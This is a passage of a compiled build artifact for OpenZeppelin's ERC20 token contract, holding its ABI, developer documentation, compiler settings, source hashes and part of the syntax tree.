get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":\"ERC20\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"See {IERC20-allowance}."},"approve(address,uint256)":{"details":"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address."},"balanceOf(address)":{"details":"See {IERC20-balanceOf}."},"constructor":{"details":"Sets the values for {name} and {symbol}. The default value of {decimals} is 18. To select a different value for {decimals} you should overload it. All two of these values are immutable: they can only be set once during construction."},"decimals()":{"details":"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}."},"decreaseAllowance(address,uint256)":{"details":"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`."},"increaseAllowance(address,uint256)":{"details":"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address."},"name()":{"details":"Returns the name of the token."},"symbol()":{"details":"Returns the symbol of the token, usually a shorter version of the name."},"totalSupply()":{"details":"See {IERC20-totalSupply}."},"transfer(address,uint256)":{"details":"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`."},"transferFrom(address,address,uint256)":{"details":"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":"ERC20"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","id":47862,"exportedSymbols":{"Context":[48281],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964]},"nodeType":"SourceUnit","src":"105:12513:30","nodes":[{"id":47277,"nodeType":"PragmaDirective","src":"105:23:30","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":47278,"nodeType":"ImportDirective","src":"130:22:30","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol","file":"./IERC20.sol","nameLocation":"-1:-1:-1","scope":47862,"sourceUnit":47940,"symbolAliases":[],"unitAlias":""},{"id":47279,"nodeType":"ImportDirective","src":"153:41:30","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol","file":"./extensions/IERC20Metadata.sol","nameLocation":"-1:-1:-1","scope":47862,"sourceUnit":47965,"symbolAliases":[],"unitAlias":""},{"id":47280,"nodeType":"ImportDirective","src":"195:33:30","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Context.sol","file":"../../utils/Context.sol","nameLocation":"-1:-1:-1","scope":47862,"sourceUnit":48282,"symbolAliases":[],"unitAlias":""},{"id":47861,"nodeType":"ContractDefinition","src":"1403:11214:30","nodes":[{"id":47291,"nodeType":"VariableDeclaration","src":"1459:45:30","nodes":[],"constant":false,"mutability":"mutable","name":"_balances","nameLocation":"1495:9:30","scope":47861,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":47290,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":47288,"name":"address","nodeType":"ElementaryTypeName","src":"1467:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1459:27:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":47289,"name":"uint256","nodeType":"ElementaryTypeName","src":"1478:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":47297,"nodeType":"VariableDeclaration","src":"1511:67:30","nodes":[],"constant":false,"mutability":"mutable","name":"_allowances","nameLocation":"1567:11:30","scope":47861,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"typeName":{"id":47296,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":47292,"name":"address","nodeType":"ElementaryTypeName","src":"1519:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1511:47:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":47295,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":47293,"name":"address","nodeType":"ElementaryTypeName","src":"1538:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1530:27:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":47294,"name":"uint256","nodeType":"ElementaryTypeName","src":"1549:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}}},"visibility":"private"},{"id":47299,"nodeType":"VariableDeclaration","src":"1585:28:30","nodes":[],"constant":false,"mutability":"mutable","name":"_totalSupply","nameLocation":"1601:12:30","scope":47861,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47298,"name":"uint256","nodeType":"ElementaryTypeName","src":"1585:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":47301,"nodeType":"VariableDeclaration","src":"1620:20:30","nodes":[],"constant":false,"mutability":"mutable","name":"_name","nameLocation":"1635:5:30","scope":47861,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":47300,"name":"string","nodeType":"ElementaryTypeName","src":"1620:6:30","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"private"},{"id":47303,"nodeType":"VariableDeclaration","src":"1646:22:30","nodes":[],"constant":false,"mutability":"mutable","name":"_symbol","nameLocation":"1661:7:30","scope":47861,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":47302,"name":"string","nodeType":"ElementaryTypeName","src":"1646:6:30","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"private"},{"id":47320,"nodeType":"FunctionDefinition","src":"1978:113:30","nodes":[],"body":{"id":47319,"nodeType":"Block","src":"2034:57:30","nodes":[],"statements":[{"expression":{"id":47313,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":47311,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47301,"src":"2044:5:30","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":47312,"name":"name_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47306,"src":"2052:5:30","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2044:13:30","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":47314,"nodeType":"ExpressionStatement","src":"2044:13:30"},{"expression":{"id":47317,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":47315,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47303,"src":"2067:7:30","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":47316,"name":"symbol_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47308,"src":"2077:7:30","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2067:17:30","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":47318,"nodeType":"ExpressionStatement","src":"2067:17:30"}]},"documentation":{"id":47304,"nodeType":"StructuredDocumentation","src":"1675:298:30","text":" @dev Sets the values for {name} and {symbol}.\n The default value of {decimals} is 18. To select a different value for\n {decimals} you should overload it.\n All two of these values are immutable: they can only be set once during\n construction."},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":47309,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47306,"mutability":"mutable","name":"name_","nameLocation":"2004:5:30","nodeType":"VariableDeclaration","scope":47320,"src":"1990:19:30","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":47305,"name":"string","nodeType":"ElementaryTypeName","src":"1990:6:30","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":47308,"mutability":"mutable","name":"symbol_","nameLocation":"2025:7:30","nodeType":"VariableDeclaration","scope":47320,"src":"2011:21:30","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":47307,"name":"string","nodeType":"ElementaryTypeName","src":"2011:6:30","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1989:44:30"},"returnParameters":{"id":47310,"nodeType":"ParameterList","parameters":[],"src":"2034:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":47330,"nodeType":"FunctionDefinition","src":"2156:98:30","nodes":[],"body":{"id":47329,"nodeType":"Block","src":"2225:29:30","nodes":[],"statements":[{"expression":{"id":47327,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47301,"src":"2242:5:30","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":47326,"id":47328,"nodeType":"Return","src":"2235:12:30"}]},"baseFunctions":[47951],"documentation":{"id":47321,"nodeType":"StructuredDocumentation","src":"2097:54:30","text":" @dev Returns the name of the token."},"functionSelector":"06fdde03","implemented":true,"kind":"function","modifiers":[],"name":"name","nameLocation":"2165:4:30","overrides":{"id":47323,"nodeType":"OverrideSpecifier","overrides":[],"src":"2192:8:30"},"parameters":{"id":47322,"nodeType":"ParameterList","parameters":[],"src":"2169:2:30"},"returnParameters":{"id":47326,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47325,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47330,"src":"2210:13:30","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":47324,"name":"string","nodeType":"ElementaryTypeName","src":"2210:6:30","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2209:15:30"},"scope":47861,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":47340,"nodeType":"FunctionDefinition","src":"2367:102:30","nodes":[],"body":{"id":47339,"nodeType":"Block","src":"2438:31:30","nodes":[],"statements":[{"expression":{"id":47337,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47303,"src":"2455:7:30","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":47336,"id":47338,"nodeType":"Return","src":"2448:14:30"}]},"baseFunctions":[47957],"documentation":{"id":47331,"nodeType":"StructuredDocumentation","src":"2260:102:30","text":" @dev Returns the symbol of the token, usually a shorter version of the\n name."},"functionSelector":"95d89b41","implemented":true,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"2376:6:30","overrides":{"id":47333,"nodeType":"OverrideSpecifier","overrides":[],"src":"2405:8:30"},"parameters":{"id":47332,"nodeType":"ParameterList","parameters":[],"src":"2382:2:30"},"returnParameters":{"id":47336,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47335,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47340,"src":"2423:13:30","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":47334,"name":"string","nodeType":"ElementaryTypeName","src":"2423:6:30","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2422:15:30"},"scope":47861,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":47350,"nodeType":"FunctionDefinition","src":"3093:91:30","nodes":[],"body":{"id":47349,"nodeType":"Block","src":"3158:26:30","nodes":[],"statements":[{"expression":{"hexValue":"3138","id":47347,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3175:2:30","typeDescriptions":{"typeIdentifier":"t_rational_18_by_1","typeString":"int_const 18"},"value":"18"},"functionReturnParameters":47346,"id":47348,"nodeType":"Return","src":"3168:9:30"}]},"baseFunctions":[47963],"documentation":{"id":47341,"nodeType":"StructuredDocumentation","src":"2475:613:30","text":" @dev Returns the number of decimals used to get its user representation.\n For example, if `decimals` equals `2`, a balance of `505` tokens should\n be displayed to a user as `5.05` (`505 / 10 ** 2`).\n Tokens usually opt for a value of 18, imitating the relationship between\n Ether and Wei. This is the value {ERC20} uses, unless this function is\n overridden;\n NOTE: This information is only used for _display_ purposes: it in\n no way affects any of the arithmetic of the contract, including\n {IERC20-balanceOf} and {IERC20-transfer}."},"functionSelector":"313ce567","implemented":true,"kind":"function","modifiers":[],"name":"decimals","nameLocation":"3102:8:30","overrides":{"id":47343,"nodeType":"OverrideSpecifier","overrides":[],"src":"3133:8:30"},"parameters":{"id":47342,"nodeType":"ParameterList","parameters":[],"src":"3110:2:30"},"returnParameters":{"id":47346,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47345,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47350,"src":"3151:5:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":47344,"name":"uint8","nodeType":"ElementaryTypeName","src":"3151:5:30","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"3150:7:30"},"scope":47861,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":47360,"nodeType":"FunctionDefinition","src":"3244:106:30","nodes":[],"body":{"id":47359,"nodeType":"Block","src":"3314:36:30","nodes":[],"statements":[{"expression":{"id":47357,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47299,"src":"3331:12:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":47356,"id":47358,"nodeType":"Return","src":"3324:19:30"}]},"baseFunctions":[47888],"documentation":{"id":47351,"nodeType":"StructuredDocumentation","src":"3190:49:30","text":" @dev See {IERC20-totalSupply}."},"functionSelector":"18160ddd","implemented":true,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"3253:11:30","overrides":{"id":47353,"nodeType":"OverrideSpecifier","overrides":[],"src":"3287:8:30"},"parameters":{"id":47352,"nodeType":"ParameterList","parameters":[],"src":"3264:2:30"},"returnParameters":{"id":47356,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47355,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47360,"src":"3305:7:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47354,"name":"uint256","nodeType":"ElementaryTypeName","src":"3305:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3304:9:30"},"scope":47861,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":47374,"nodeType":"FunctionDefinition","src":"3408:125:30","nodes":[],"body":{"id":47373,"nodeType":"Block","src":"3491:42:30","nodes":[],"statements":[{"expression":{"baseExpression":{"id":47369,"name":"_balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47291,"src":"3508:9:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":47371,"indexExpression":{"id":47370,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47363,"src":"3518:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3508:18:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":47368,"id":47372,"nodeType":"Return","src":"3501:25:30"}]},"baseFunctions":[47896],"documentation":{"id":47361,"nodeType":"StructuredDocumentation","src":"3356:47:30","text":" @dev See {IERC20-balanceOf}."},"functionSelector":"70a08231","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"3417:9:30","overrides":{"id":47365,"nodeType":"OverrideSpecifier","overrides":[],"src":"3464:8:30"},"parameters":{"id":47364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47363,"mutability":"mutable","name":"account","nameLocation":"3435:7:30","nodeType":"VariableDeclaration","scope":47374,"src":"3427:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47362,"name":"address","nodeType":"ElementaryTypeName","src":"3427:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3426:17:30"},"returnParameters":{"id":47368,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47367,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47374,"src":"3482:7:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47366,"name":"uint256","nodeType":"ElementaryTypeName","src":"3482:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3481:9:30"},"scope":47861,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":47399,"nodeType":"FunctionDefinition","src":"3729:189:30","nodes":[],"body":{"id":47398,"nodeType":"Block","src":"3814:104:30","nodes":[],"statements":[{"assignments":[47386],"declarations":[{"constant":false,"id":47386,"mutability":"mutable","name":"owner","nameLocation":"3832:5:30","nodeType":"VariableDeclaration","scope":47398,"src":"3824:13:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47385,"name":"address","nodeType":"ElementaryTypeName","src":"3824:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":47389,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":47387,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48271,"src":"3840:10:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns 